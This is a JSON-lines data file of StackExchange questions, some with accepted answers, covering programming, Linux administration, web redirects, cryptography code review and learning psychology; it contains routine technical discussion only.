{  "id": "_cogsci.8720"  , "question": "As a non-native English speaker I recently tried to understand difference in phrases to study and to learn. I found some explanations here on English language and usage SE, stating that learning is a subconscious activity. Then in some articles I've found, authors stated that language learning is subconscious and that acquiring knowledge and skill isn't the same  [ also that learning language is actually learning a skill, while learning history is acquiring knowledge.] .So I got confused : is all learning subconscious or not? Is there a difference in learning language and learning anatomy, laws of physics or programming? Additionally some articles got me confused, especially  those that want to sell you hypnosis  DVDs and instruction manuals to boost your subconscious mind. Aren't we already equipped with proper subconscious mind? "  , "title": "Is all learning a subconscious activity?"  , "tags": "learning;consciousness"  , "accepted_answer": "We should not confuse the psychological terminology of consciousness, the subconscious and the unconscious with the lay meaning of activities being performed consciously or subconsciously.The distinction between conscious learning and subconscious acquisition of linguistic knowledge goes back to the Monitor Model that linguist Stephen Krashen developed in the 1970s and 1980s. According to this theory, human beings develop linguistic skills in two ways: either wesubconsciously acquire knowledge, without realizing that we do so (e.g. by growing up in a certain linguistic environment), or weconsciously learn (e.g. by memorizing lists of words in a foreign language).Krashen's theory has been both praised and criticized, but this is not the place to go into that debate. It should be enough to note that the hypothesis has as yet not been empirically proven.From a psychological point of view, learning  of which acquisition is a part, namely that a response to a stimulus has been established  is always not conscious. A conscious activity is one that we are aware of (like intentionally putting a book on a shelf), but learning, that is: the storing of information in the brain, takes place through processes of which we are unaware and in parts of our anatomy over which we have no control.For example, when you try to memorize a foreign word and its meaning, you cannot consciously put that knowledge in your memory like you can place a book on a shelf. What you must do, for example, is repeat the information until you no longer forget it. But you have no awareness of wether or not the storage was successful. You can only deduce that success from your ability to retrieve the information (i.e. correctly remember). A conscious storage would give you a direct (sensory) feedback of the storage process, similar to how your eyes show you wether or not the book is now on the shelf. If the placing of a book on a shelf worked subconsciously like storing knowledge in your brain, you'd have to retrieve the book from the shelf again to know that it had been put there. Until you took it off the shelf, you couldn't know if it was actually there.So to answer your question:For a psychologist, all learning is subconscious (but he would not use that word)."  } 
{  "id": "_unix.177975"  , "question": "In gedit on GNOME 3.14 (Fedora 21), using the mousewheel to scroll results in ordinary scrolling, whereas using the arrow keys or PageUp/PageDown results in smooth scrolling. How can smooth scrolling for the arrow keys/PageUp/PageDown be disabled in gedit?"  , "title": "How can keyboard smooth scrolling be turned off in gedit (GNOME 3.14/Fedora 21)?"  , "tags": "fedora;gnome;gedit;scrolling"  } 
{  "id": "_unix.43974"  , "question": "In some programs percentage of copying large files get to 100% very fast and then I'm waiting much more before it goes next step. It's caused by buffer. How to I see amount of data that are going to be written?"  , "title": "How to get size of data that haven't been written to disk yet?"  , "tags": "cache;disk"  , "accepted_answer": "The term for that is dirty data (data that has been changed, but not yet flushed to permanent storage).On Linux you can find this from /proc/meminfo under Dirty:$ cat /proc/meminfo | grep DirtyDirty:               0 kB"  } 
{  "id": "_datascience.8294"  , "question": "How do we use one hot encoding if the number of values which a categorical variable can take is large ?In my case it is 56 values. So as per usual method I would have to add 56 columns (56 binary features) in the training dataset which will immensely increase the complexity and hence the training time.So how do we deal with such cases ?"  , "title": "One Hot encoding for large number of values"  , "tags": "machine learning;data mining;classification;dataset;categorical data"  } 
{  "id": "_codereview.118247"  , "question": "For no particular reason, I wanted to create a function that would take a string and encrypt it via Caesar cipher. This function takes a string and shifts the letters left or right (in the alphabet) depending on the input. Shift right(2) for instance would be -ABCDEFGHIJKLMNOPQRSTUVWXYZCDEFGHIJKLMNOPQRSTUVWXYZABThe UDF:Option ExplicitPublic Function CaesarCipher(ByVal TextToEncrypt As String, ByVal CaesarShift As Long) As String    'Positive means shift to right e.g. A Shift 1 returns B    Dim IsPositive As Boolean    IsPositive = True    If CaesarShift < 0 Then IsPositive = False    CaesarShift = Abs(CaesarShift)    Dim OutputText As String    TextToEncrypt = UCase(TextToEncrypt)    If CaesarShift > 26 Then        CaesarShift = CaesarShift Mod 26    End If    If IsPositive Then          OutputText = ShiftRight(TextToEncrypt, CaesarShift)    Else: OutputText = ShiftLeft(TextToEncrypt, CaesarShift)    End If    CaesarCipher = OutputTextEnd FunctionThe shifting functions:Private Function ShiftRight(ByVal ShiftString As String, ByVal ShiftQuantity As Long) As String    Dim TextLength As Long    TextLength = Len(ShiftString)    Dim CipherText As String    Dim CharacterCode As Long    Dim AsciiIndex As Long    Dim AsciiIdentifier() As Long    ReDim AsciiIdentifier(1 To TextLength)    For AsciiIndex = 1 To TextLength        CharacterCode = Asc(Mid(ShiftString, AsciiIndex, 1))        If CharacterCode + ShiftQuantity > 90 Then            CharacterCode = CharacterCode - 26 + ShiftQuantity        ElseIf CharacterCode = 32 Then GoTo Spaces        Else:  CharacterCode = CharacterCode + ShiftQuantity        End IfSpaces:        AsciiIdentifier(AsciiIndex) = CharacterCode    Next        For AsciiIndex = 1 To TextLength            CipherText = CipherText & Chr(AsciiIdentifier(AsciiIndex))        Next    ShiftRight = CipherTextEnd FunctionPrivate Function ShiftLeft(ByVal ShiftString As String, ByVal ShiftQuantity As Long) As String    Dim TextLength As Long    TextLength = Len(ShiftString)    Dim CipherText As String    Dim CharacterCode As Long    Dim AsciiIndex As Long    Dim AsciiIdentifier() As Long    ReDim AsciiIdentifier(1 To TextLength)    For AsciiIndex = 1 To TextLength        CharacterCode = Asc(Mid(ShiftString, AsciiIndex, 1))        If CharacterCode = 32 Then GoTo Spaces        If CharacterCode - ShiftQuantity < 65 Then            CharacterCode = CharacterCode + 26 - ShiftQuantity        Else: CharacterCode = CharacterCode - ShiftQuantity        End IfSpaces:        AsciiIdentifier(AsciiIndex) = CharacterCode    Next        For AsciiIndex = 1 To TextLength            CipherText = CipherText & Chr(AsciiIdentifier(AsciiIndex))        Next    ShiftLeft = CipherTextEnd Function"  , "title": "Simple Caesar Cipher Function"  , "tags": "vba;caesar cipher"  , "accepted_answer": "Just some things that jump out at me:Standard VBA Naming conventions have camelCase for local variables, and PascalCase only for sub/function names and Module/Global Variables. This allows you to tell at a glance if the variable you're looking at is local to your procedure, or coming from somewhere else.I would probably use EncryptUsingCaesarCypher as your function name. It's more descriptive and closer to what it actually does.`Text = CaesarCypher(text)versus`Text = EncryptUsingCaesarCypher(text)Other than that, your naming is pretty solid.Why separate functions for ShiftLeft and ShiftRight? The code in both is heavily-repeated and could be easily combined into a Shift(ByVal shiftValue as Long) function that handles positive and negative. This also lets you cut out all that messing around with isPositve and Abs(shift)"  } 
{  "id": "_webmaster.69756"  , "question": "i want to enable SSL for my main website and sub-domain websites. for SEO reasons i need to redirect HTTP requests to HTTPS requests and i think i should do that using wild card redirect in htaccess file. But, i already HAVE a wild card redirect in my htaccess file as followRewriteCond %{HTTP_HOST} ^mscaspian.com$RewriteRule (.*) http://www.mscaspian.com/$1 [R=301,L]as you can see that will redirect Non-WWW version of my site to WWW version.i need to know how to utilize Both Redirects for my websites and domain"  , "title": "Wild card redirection for HTTPS and Non-www version"  , "tags": "htaccess;https"  , "accepted_answer": "Looks like you didnt escape the slashes in your directive. Putting backslashes before any / . or : should make it work. Also adding the ^ and $ on the wildcard helps. Heres what we use:Standard Domain: Perhaps there is a consolidated way, but this snippet should work for a standard domain. Change the target of the first rewrite to https if you need all to https mode:RewriteCond %{HTTP_HOST} ^example\\.com$RewriteRule ^(.*)$ http\\:\\/\\/www\\.example\\.com\\/$1 [R=301,L]RewriteCond %{HTTPS_HOST} ^example\\.com$RewriteRule ^(.*)$ https\\:\\/\\/www\\.example\\.com\\/$1 [R=301,L]Addon Domain: If you are trying to do this with an addon domain and want to redirect the subdomain utility scheme, this would do that. Again, change the target of first directive to https and it should force SSL:RewriteCond %{HTTP_HOST} ^addondomain\\.example\\.com$ [OR]RewriteCond %{HTTP_HOST} ^www\\.addondomain\\.example\\.com$ [OR]RewriteCond %{HTTP_HOST} ^addondomain\\.com$RewriteRule ^(.*)$ http\\:\\/\\/www\\.addondomain\\.com\\/$1 [R=301,L]RewriteCond %{HTTPS_HOST} ^addondomain\\.example\\.com$ [OR]RewriteCond %{HTTPS_HOST} ^www\\.addondomain\\.example\\.com$ [OR]RewriteCond %{HTTPS_HOST} ^addondomain\\.com$RewriteRule ^(.*)$ https\\:\\/\\/www\\.addondomain\\.com\\/$1 [R=301,L]Hope that helps!"  } 
{  "id": "_unix.269631"  , "question": "Assume I have a file A:fileA fileBSuppose I have now a file named:fileA_someprefix_20160101.txtNow I want to match all lines from A which prefix this filename, so I thought:FILE_NAME=fileA_someprefix_20160101.txt    awk '$FILE_NAME ~ /^$1/' A.txtI tried different ways to escape the dollar sign, but it did not work.In all examples the field is part of the expression (left) instead of the regex.How do I a reverse start with?"  , "title": "AWK: How to put field ($1) inside regular expression to select all prefixes?"  , "tags": "text processing;awk"  } 
{  "id": "_codereview.144394"  , "question": "I'm writing a weight training app that calculates a one rep maximum and it has several options including recording your lifts in pounds or kilograms. I'm trying my best to follow the MVC pattern but I'm not entirely sure where to do some calculating and formatting. I have a UITableView to display my Lift Log and when I load it, I'm converting the oneRepMaxWeight as needed to display all values in pounds or kilograms, depending on the user's current default units. I also round the numbers if the user's default is set to round (see formatForDisplay(value:): class LiftLogViewController: UIViewController, NSFetchedResultsControllerDelegate, DismissalDelegate {    //MARK: IB outlets    @IBOutlet var tableView: UITableView!    @IBOutlet weak var navItem: UINavigationItem!    let coreDataStack = CoreDataStack()    var liftEvents = [LiftEvent]()    var preferredUnits = UserDefaultsManager.sharedInstance.preferredUnits    override func viewDidLoad() {        super.viewDidLoad()        let doneButton = UIBarButtonItem(title: Done, style: .Plain, target: self, action: #selector(self.dismissLog(_:)))        self.navItem.rightBarButtonItem = doneButton        tableView.allowsSelectionDuringEditing = true        tableView.rowHeight = 88.0        tableView.rowHeight = UITableViewAutomaticDimension        tableView.estimatedRowHeight = 88.0        automaticallyAdjustsScrollViewInsets = false    }    func selectionDidFinish(controller: LiftSelectionTableViewController) {        controller.dismissViewControllerAnimated(true, completion: nil)    }    func formatForDisplay(value: Double) -> String {        let roundingIsOn = UserDefaultsManager.sharedInstance.preferredRoundingOption        if roundingIsOn == true {            let value = String(format:%.lf, value)            return value        }        else {            let value = String(format:%.1lf, value)            return value        }    }    override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {            let nav = segue.destinationViewController as! UINavigationController            let vc = nav.topViewController as! LiftSelectionTableViewController            vc.selectForFilter = true            vc.dismissalDelegate = self    }    func segueToLogFilters(sender: AnyObject) {        performSegueWithIdentifier(segueToLogFilters, sender: self)    }    // MARK: - Table view data source    func numberOfSectionsInTableView(tableView: UITableView) -> Int {        return 1    }    func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {        return liftEvents.count    }    func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {        let cell = tableView.dequeueReusableCellWithIdentifier(liftEventCell, forIndexPath: indexPath) as! LiftLogTableViewCell        let liftEvent = liftEvents[indexPath.row]        cell.viewData = LiftLogTableViewCell.ViewData(liftEvent: liftEvent)        if liftEvent.units != preferredUnits {            let from = Unit(rawValue: cell.units.text!)            let to = Unit(rawValue: preferredUnits!)            let oneRepMaxWeight = Double(cell.oneRepMaxWeight.text!)            let convertedMax = calculator.convertUnits(from!, to: to!, value: oneRepMaxWeight!)            cell.oneRepMaxWeight.text = String(convertedMax)            cell.units.text = preferredUnits        }        let formattedMaxWeight = formatForDisplay(Double(cell.oneRepMaxWeight.text!)!)        cell.oneRepMaxWeight.text = formattedMaxWeight        cell.liftName.textColor = UIColor(hexString: 232B35)        cell.oneRepMaxWeight.textColor = UIColor(hexString: 232B35)        cell.units.textColor = UIColor(hexString: 232B35)        return cell    }}I recently created a separate UITableViewCell class to get the conversion and formatting logic out of cellForRowAtIndexPath because I don't think it belongs there and I can't test it if it's in there. But then I found myself having to put this code into this new class and that seems just as bad:class LiftLogTableViewCell: UITableViewCell {    @IBOutlet weak var liftName: UILabel!    @IBOutlet weak var liftDetails: UILabel!    @IBOutlet weak var liftDate: UILabel!    @IBOutlet weak var oneRepMaxWeight: UILabel!    @IBOutlet weak var units: UILabel!    @IBOutlet weak var formula: UILabel!    struct ViewData {        let liftName: String        let weightLifted: Double        let repetitions: Int        let liftDate: String        let oneRepMaxWeight: Double        let units: String        let formula: String    }    var viewData: ViewData? {        didSet {            liftName!.text = viewData!.liftName            liftDetails!.text = \\(viewData!.weightLifted) @ \\(viewData!.repetitions)            liftDate!.text = on \\(viewData!.liftDate)            oneRepMaxWeight!.text = \\(viewData!.oneRepMaxWeight)            formula!.text = viewData!.formula            units!.text = viewData!.units        }    }}extension LiftLogTableViewCell.ViewData {    init(liftEvent: LiftEvent) {        self.liftName = liftEvent.liftName        self.weightLifted = Double(liftEvent.weightLifted)        self.repetitions = Int(liftEvent.repetitions)        self.formula = liftEvent.calculation.formulaName //change 'calculation' to 'forumla' for heaven's sake        let dateFormatter = NSDateFormatter()        dateFormatter.dateFormat = yyyy-MM-dd        let formattedDate = dateFormatter.stringFromDate(liftEvent.liftDate)        self.liftDate = \\(formattedDate)        self.oneRepMaxWeight = Double(liftEvent.maxAmount)        self.units = liftEvent.units    }}Ultimately, my question is, if I'm trying to follow MVC, where should I put code to convert these values and format them as I'm creating my tableview cells? Would it make sense to create helper class(es) that handle these things?"  , "title": "Formatting data in a UIViewController in a weight-training app"  , "tags": "mvc;swift;unit conversion;spring mvc"  } 
{  "id": "_softwareengineering.193991"  , "question": "I am developing enterprise iPad application which contained large amount of different bundle data in terms of group of images.Is it worth to stored as a compressed file format or normal set of individual files?I am not worrying about huge amount of data which is reside in the cloud.My concern is that cloud computing provider only charges depending upon the request not about how much data where stored.If I store single file in cloud then it make more request while using the app. So it will cost so much.Is it better to be stored as a compressed file in cloud?"  , "title": "Is it better to have file stored as a zip in cloud service?"  , "tags": "ios;cloud computing;cloud"  } 
{  "id": "_unix.335752"  , "question": "Nplt user not have the permission to run the command crontab -lso I add this lines in visudoNplt ALL=(root) NOPASSWD: crontab -lbut I get this errorisudo: >>> /etc/sudoers: syntax error near line 21 <<<What now? ^Cvisudo exiting due to signal: Interruptwhat is wrong in my syntax?"  , "title": "linux + write syntax in visudo"  , "tags": "linux;rhel;sudo"  } 
{  "id": "_unix.93205"  , "question": "I think this question explains itself. But here are some more details anyway:Many Linux distributions have live USB's which one can use to try and install that distro. However, that pen must often be formatted, and even afterwords, it can only have the purpose to install that one distribuition. Why can't one have a directory for each distro and have BIOS boot from that? (maybe including some file leading to other the files from which to boot, but not having them all laying in the top directory of that drive) How? Which distribuitions support that? Can you make such a file for BIOS to detect and find the bootable files for several distros? (then one should choose from which one to boot from, like when a computer has several operating systems)"  , "title": "Can one make a bootable device with several distros of Linux?"  , "tags": "linux;distros;live usb;bios;bootable"  , "accepted_answer": "It is certainly possible to roll your own version of this concept with Grub.  However there are also tools that can make the process much easier.PenDriveLinux lists several tools.  Of those I have had good luck with Yumi, which is Windows based, and MultiSystem which is Linux-based.  The MultiSystem project website is in French, but PenDriveLinux has good instructions.  I've created multi-distro USB keys with both of these with good results. "  } 
{  "id": "_unix.15916"  , "question": "I am trying to set up a system to prepare a Linux system on a virtual machine and then deploy it onto an SD card. The target system has an Atom processor, so there aren't architecture compatibility concerns.Do any of the mount points have to be in a special, physical location for this to work or can GRUB grok the filesystem?How do I set up the SD card to boot this system using GRUB?Would it be better to rsync the filesystem over or dd a filesystem image? I much prefer the former because I don't have to change my VM much when going between different card sizes.EDIT:I assume that I'll have to prepare the card before hand using something like parted, then I'll have to install GRUB to it, which isn't a big deal.The major question is, will GRUB find the kernel if it isn't in a guaranteed, physical place on the partition? In other words, is GRUB smart enough to read an ext2, ext3, or ext4 partition and find the appropriate mount points?My disk will look something like this (2 partitions):[GRUB] [grub loader stuff] [GRUB partition] [OS partition]"  , "title": "Preparing a Linux image in a virtual machine"  , "tags": "linux;grub;boot loader;cloning"  , "accepted_answer": "When Grub boots, it loads itself using information provided by the BIOS. As long as all the pieces are on the same disk this should work seamlessly.When Grub loads Linux, it can find the kernel on the same disk as Grub or by searching through the available disks. Again if you put the kernel on the same disk as Grub this should work seamlessly.When the Linux kernel goes to mount the root filesystem, it uses its own disk numbering. Grub passes a command line argument to the kernel so that it knows where to find the root filesystem; the argument has to be in terms of what the kernel understands. Disk numbers (e.g. sda, sdb, hda, etc.) are unpredictable if you move from system to system. The easiest way to make sure this will work is to put the root filesystem (and any other filesystem or swap space) on LVM. At boot time (specifically at the initrd/initramfs execution stage) the system will look through all available LVM physical volumes, assemble the groups, and that gives access to all the logical volumes they contain. Since LVM volumes have names and not disk numbers, it doesn't matter what the disk numbers are.Grub has to know the exact physical location on the disk of its pieces. You can't make a bootable SD card by just copying files onto it, you have to make a bootloader installation. To cope with different-size devices easily, a good way is to make a fixed-size partition at the beginning of the disk for the OS, and use the rest of the space as an extra data partition. On that topic, see Cloning a bootable USB stick to a different-size stick."  } 
{  "id": "_codereview.70115"  , "question": "I downloaded source code of cryptosms and implemented the ECIES cipher in my work for Java mobile.I doubt validity of this step (full code of my method is below):        engine.init(true, (CipherParameters) k, (CipherParameters) pubKey,                new IESParameters(Z.getX().toBigInteger().toByteArray(), R                        .getQ().getEncoded(), 64)); //here is the problemIn particular the line that I commented: is that correct way to implement ECIES? All works ok but I have a suspect that it doesn't share the secret KDF in secure mode.The project is dead and I can't contact authors. public byte[] cifra(byte[] data, byte[] key) throws Exception {        boolean failure = true;        ECDomainParameters domainParams= EllipticUtils.getECDomainParameters();        IESEngine engine = new IESEngine(new ECDHBasicAgreement(),                new KDF2BytesGenerator(new SHA1Digest()), new HMac(                        new SHA1Digest()));        ECPoint publicPoint = domainParams.getCurve().decodePoint(key);        ECPublicKeyParameters pubKey = new ECPublicKeyParameters(                publicPoint, domainParams);        ECPrivateKeyParameters k = null;        ECPublicKeyParameters R = null;        ECPoint Z = null;        SHA256SecureRandom PRNG = SHA256SecureRandom.getIstance();        PRNG.initPRNG();        while (failure) {            BigInteger privNum = new BigInteger(PRNG.getPRNG()                    .generateSeed(16                             ));            k = new ECPrivateKeyParameters(privNum, domainParams); // this is            // just a container            R = EllipticUtils.generatePublicKey(k); // R = kP            // calculate Z=hkQ            BigInteger z = new BigInteger(domainParams.getH().toByteArray()); // z=h            z = z.multiply(privNum); // z=hk            Z = pubKey.getQ(); // Z=Q            if (Z instanceof ECPoint.F2m) {                ECPoint.F2m Z2 = new ECPoint.F2m(Z.getCurve(), Z.getX(), Z                        .getY()); // clone                Z = Z2.multiply(z); // Z=zQ <=> Z=hkQ            }            if (Z instanceof ECPoint.Fp) {                ECPoint.Fp Z2 = new ECPoint.Fp(Z.getCurve(), Z.getX(), Z                        .getY()); // clone                Z = Z2.multiply(z); // Z=zQ <=> Z=hkQ            }            if (!Z.isInfinity())                failure = false; // see step 2        }        // step 3 and 4:        // setup KDF(xz,R) - see new IESParameters(...)        // pass the parameters for step4        engine.init(true, (CipherParameters) k, (CipherParameters) pubKey,                new IESParameters(Z.getX().toBigInteger().toByteArray(), R                        .getQ().getEncoded(), 64)); //here is the problem        // step 4 generate C and t        byte[] cAndT = engine.processBlock(data, 0, data.length);        // collect the result in format        // byte[0] = length of R (encoded)        // R in encoded form        // C and t as coming from the engine        byte[] publicBytes = R.getQ().getEncoded();        byte[] out = new byte[1 + publicBytes.length + cAndT.length];        out[0] = (byte) publicBytes.length; // WARN this will crash if        // key.length > 255        System.arraycopy(publicBytes, 0, out, 1, publicBytes.length);        System.arraycopy(cAndT, 0, out, 1 + publicBytes.length,                cAndT.length);        return out;}"  , "title": "Is this implementation of the ECIES cipher correct?"  , "tags": "java;cryptography;mobile"  } 
{  "id": "_ai.2769"  , "question": "Can silicon based computers create A.I. per definition of what intelligence is?Or does silicon based computers only create human mimic?If silicon based computers only create human mimic, are human mimic intelligence per definition?If not, how can we create A.I. per definition of what intelligence is?"  , "title": "Can silicon based computers create A.I. per definition?"  , "tags": "neural networks;machine learning;deep learning;research;ai design"  } 
{  "id": "_webmaster.108758"  , "question": "In our store ruban.com all products of MAC brand are out-of-stock. But this is a very famous brand in region with a lot of searches.Is it a good Idea to buy google-adwords for this brand?"  , "title": "Could I buy google-adwords for out-of-stock products?"  , "tags": "seo;google adwords"  } 
{  "id": "_unix.343714"  , "question": "**Relevant details:**OS: Ubuntu 16.04File System: Ext3/LUKSRecovery software attempted: PhotoRecCorrupt drive: Hard disk drive 200GB SATAI've attempted to perform a file recovery from a what seems to be a corrupt hard drive.  The files which were recovered, were given filenames which are not the original filenames.  I assume PhotoRec sequentially names any files recovered.  How do I recover the files and keep the original filenames intact?Question: Is it possible to recover the files and keep the original file names intact? "  , "title": "Recovered files using PhotoRec"  , "tags": "data recovery;ext3"  } 
{  "id": "_cs.52488"  , "question": "Disclaimer: I know there are similar sounding questions already here and on Stackoverflow. But they are all about collisions, which is not what I am asking for.My question is: why is collision-less lookup O(1) in the first place?Let's assume I have this hashtable:Hash  Content-------------ghdjg Data1hgdzs Data2eruit Data3xcnvb Data4mkwer Data5rtzww Data6Now I'm looking for the key k where the hash function h(k) gives h(k) = mkwer. But how does the lookup know that the hash mkwer is at position 5? Why doesn't it have to scroll through all keys in O(n) to find it? The hashes can't be some kind of real hardware addresses because I'd lose the abbility to move the data around. And as far as I know, the hashtable is not sorted on the hashes (even if it was, the search would also take O(log n))?How does knowing a hash help finding the correct place in the table?"  , "title": "Why is a (collision-less) hashtable lookup really O(1)?"  , "tags": "complexity theory;hash;hash tables;performance"  , "accepted_answer": "The hash function doesn't return some string such as mkwer. It directly returns the position of the item in the array. If, for example, your hash table has ten entries, the hash function will return an integer in the range 0–9."  } 
{  "id": "_unix.266860"  , "question": "if the format is:route add -host 192.168.1.20 gw 10.1.1.20 dev eth0:1I know, It will route 192.168.1.20 to 10.1.1.20Then, what's the dev eth0:1 mean?"  , "title": "Meaning of route add -host xxx.xxx.xxx.xxx dev eth0:1"  , "tags": "linux;networking;route;iproute"  , "accepted_answer": "The inclusion of 'dev eth0:1' forces the kernel to use the eth0:1 interface for traffic matching the route specification.Also in this case, the interface specification is for an alias interface or label configured on eth0. "  } 
{  "id": "_codereview.39982"  , "question": "I am creating an API for consumption by other developers to interface with an internal framework.  My goal is to be able to have the developers type something like:profile.setPreference(new GroupPreference(id));orUserPreference preference = new UserPreference();preference.setDefaultInbox(nameOfInbox);// set any other options, classes simplifiedprofile.setPreference(preference);The internal framework has all preferences persisted in the same manner.  A user profile can be either a set of preferences specific to them (UserPreference) or a relation to a group preference using an ID (GroupPreference).An example of current API usage:// Context object Profile profile = userService.getProfile(accountName);// Preference returned here is immutablePreference preference = profile.getPreference();preference.getDashboardOptions();preference.getDefaultInbox();// etc..// To modify a users preferencesUserPreference userPreference = new UserPreference(preference);userPreference.setDefaultInbox(newInbox);// etc..profile.setPreference(userPreference);// Or to link it to a group preferenceprofile.setPreference(new GroupPreference(groupPreferenceId));I handle saving of the preference information through a PreferenceManager as a part of updating the overall profile:preferenceManager.savePreference(preference, profileContext);Now for the questions:The protected save method feels extremely cludgy but I didn't want to have any methods in the interface that potentially exposes implementation details.  Is there a better way?How is this design overall?  Something need to be reorganized?public abstract class Preference {    /**     * Provides access to DashboardOptions object to manage what options are enabled     * and disabled on the users dashboard.     *      * @return DashboardOptions object     */    public abstract DashboardOptions getDashboardOptions();    /**     * Gets the default inbox for the user.     *      * @return Default inbox     */    public abstract String getDefaultInbox();    /**     * Method that will be overridden to handle saving of the preference.     *      * @param profile ProfileContext passed in to provide information when saving preferences     * @param service PreferenceService object that handles saving of preferences     */    protected abstract void save(ProfileContext profile, PreferenceService service);}public class GroupPreference extends Preference {    private Long groupPreferenceId;    public GroupPreference(Long groupPreferenceId) {        this.groupPreferenceId = groupPreferenceId;    }    public Long getPreferenceId() {        return groupPreferenceId;    }    @Override    public DashboardOptions getDashboardOptions() {        return null;    }    @Override    public String getDefaultInbox() {        return null;    }    @Override    protected final void save(ProfileContext profile, PreferenceService service) {        service.setUserPreference(profile.getId(), groupPreferenceId);    }}public class UserPreference extends Preference {    private UserDashboardOptions options;    private String defaultInbox = ;    public UserPreference() {        this.options = new UserDashboardOptionsImpl();    }    public UserPreference(Preference preference) {        this.options = new UserDashboardOptionsImpl(preference.getDashboardOptions());    }    @Override    public UserDashboardOptions getDashboardOptions() {        return options;    }    @Override    public String getDefaultInbox() {        return defaultInbox;    }    public void setDefaultInbox(String defaultInbox) {        this.defaultInbox = defaultInbox;    }    @Override    protected final void save(ProfileContext profile, PreferenceService service) {        // The SubjectPreference is part of an internal framework I have to interface with        SubjectPreference subjectPreference = service.createSubjectPreference(profile);        service.saveSubjectPreference(subjectPreference);    }}public class PreferenceManager {    public void savePreference(Preference preference, ProfileContext profile, PreferenceService service) {        preference.save(profile, service);    }}"  , "title": "Java API without exposing implementation details"  , "tags": "java;object oriented;api"  } 
{  "id": "_webmaster.101751"  , "question": "I am new to PHP and I'm currently learning about PHP from the point of view of managing a web server. I believe that PHP extensions are like plugins which enable added functionality to the default PHP set-up - I know this is a very basic overview but is my simplification correct?I have also noticed PECL and PEAR on my cPanel set-up and have not even began to enquire what they are as I want to understand the basics of how PHP works. I'd value any input just to help my novice brain process this. "  , "title": "What are PHP extensions?"  , "tags": "web hosting;php;cpanel"  , "accepted_answer": "The simple answer is that most of the PHP functionallity is in the basic setup and you probally don't need to worry about this.But, extensions are exactly as they sound like, they extend PHP functionallity. You have a MYSQL extension which allows you to connect to a database with premade functions (this extension is mostly on by default, unless you have a bad hoster).  If you do phpinfo(); in a php file, there will be a section called 'modules loaded', which lists all of them. Most of the usefull ones are already included.Turning these extensions on is possible via various methods, often in the php.ini (the settings file for PHP). If you want to change this, you'll need root access to the server, which you often dont have with shared hosting (but, again, you don't really need this when you just begin)."  } 
{  "id": "_scicomp.27243"  , "question": "I found this one, but does not work: http://www.karlin.mff.cuni.cz/~hron/warsaw_2014/pl2014_lecture5.pdf "  , "title": "Anyone knows where I can find a simple FEniCS code where I can understand basic implantation?"  , "tags": "finite element;fenics"  } 
{  "id": "_softwareengineering.279849"  , "question": "We have a large Java project (1m+ SLOC) with mixed whitespace - some files have tabs and some have spaces.  It's tricky to make my editor work with whichever file I happen to be editing.  We are going to choose a convention and enforce it in future.  The question is whether I should make one commit to correct the whitespace in the whole project after the decision is made.Git can ignore changes in whitespace, so in future to compare with older revisions we would have to use git diff -w.  However, if and when we update a file in a piecemeal way we would still have to use git diff -w.For the record, this is an Eclipse RCP project, so using an IDE other than Eclipse is not really sensible.Edit: There are some good answers here, but they tend to discuss how I should go about this rather than whether this is a good idea or whether I should just leave well alone, which is what I'm really interested in."  , "title": "Should I edit a codebase's whitespace to conform to a coding style?"  , "tags": "java;conventions;whitespace"  , "accepted_answer": "What do you mean by my editor?  And what do you mean by git -w?  Are you using an editor and command line tools instead of an IDE?  May I recommend IntelliJ IDEA?  It is the best java IDE ever, and it has no problem with either kind of whitespace, or even with mixed whitespace within the same file.Generally, if a massive change has to be made to the code base, like changing the formatting, it should be done all at once and as early as possible. If you don't do that, then files will keep being committed in the future for no reason other than whitespace changes, unnecessarily bloating the history lists, and forcing you to often request diffs of files only to be told files differ only in whitespace.  Also, it will never be obvious whether a file was committed due to actual changes or only due to whitespace changes, so if two or more developers happen to have different whitespace and/or formatting settings by mistake, it will take you some time and several commits where one developer is undoing the whitespace changes of another until you realize that this discrepancy exists.By reformatting and committing everything at once, the revision number of that commit (which will from that day on be known as The Great Big Reformatting) will be memorized by everyone, so whenever you see that revision number you will know to not even request a diff.  Plus, from that moment on, everyone will know that subsequent commits due to whitespace changes only should not be made, because they are obviously the result of a configuration mismatch between developers.AmendmentNow, on the question of whether you should convert the entire code base to conform to a particular coding style, this is not an easy thing to answer without knowing the particulars of your situation.  The obvious answer, which anyone out there will tell you, is that a consistent coding style is important, and that even a bad (by whatever standard) but consistent style is better than an inconsistent style. However, there are some practical questions to be asked first:Do most of the important contributors at your workplace agree?  Are there any contributors who, despite being a minority, might rage-quit if you proceed with this?  And how important are they?How big of a variety of styles do you have?  Is it only tabs vs. spaces, or does it include other major aspects of coding style like Allman vs. Egyptian braces?  People should be flexible enough to not mind a small variety.But mostly: Is it really necessary? I mean, in my current job, each developer is working on a specific, clearly delineated subset of the code base, so I don't delve (much) into other people's code, and nobody delves into my code, so it does not really matter that we have vastly different styles.  It neither picks my pocket nor breaks my leg that a colleague wraps his lines at column 80. (Ssssh, he probably does not know how to change the relevant setting.) The situation would be quite different if we had developers whose job involved frequently dealing with other people's code. If you do have such a situation, and if the coding styles vary so much as to make it hard for them to do their job, then you probably should enforce a single coding style for everyone.  Otherwise, perhaps not.One more final note:In theory, it should be possible to resolve this issue with technical means so that a) different developers can work on the same code, and yet b) each developer gets to enjoy whatever coding style he or she prefers. The way this would (in theory) be accomplished would be by having code formatted to your preferred style when updating from the version control system, and re-formatted to the project style right before committing.  Unfortunately, as of today, there are no tools that will do this as far as I know.  IntelliJ IDEA gets close by supporting multiple styles, including a personal style and a project style, but it is not fully automated: you still get to browse unmodified code in project style, if you re-format any files to your personal style they will unfortunately appear as modified with respect to the pristine copies, (which is probably a shortcoming of the version control system and not of IDEA,) and the (optional of course) step which re-formats files back to project style when committing leaves all of your local copies in project style again.  If anyone knows of anything that achieves more than that, please do say."  } 
{  "id": "_unix.237435"  , "question": "Am using a script in ksh to get a date 91 days prior to today using datecalc on a Solaris 10 server. What would be the equivalent to this in Linux ?month=`datecalc -a $(date +%Y %m %d) - 1 |awk {'print $2'}`day=`datecalc -a $(date +%Y %m %d) - 91 |awk {'print $3'}`year=`datecalc -a $(date +%Y %m %d) - 1 |awk {'print $1'}`"  , "title": "Datecalc equivalent for Linux"  , "tags": "shell script;date"  } 
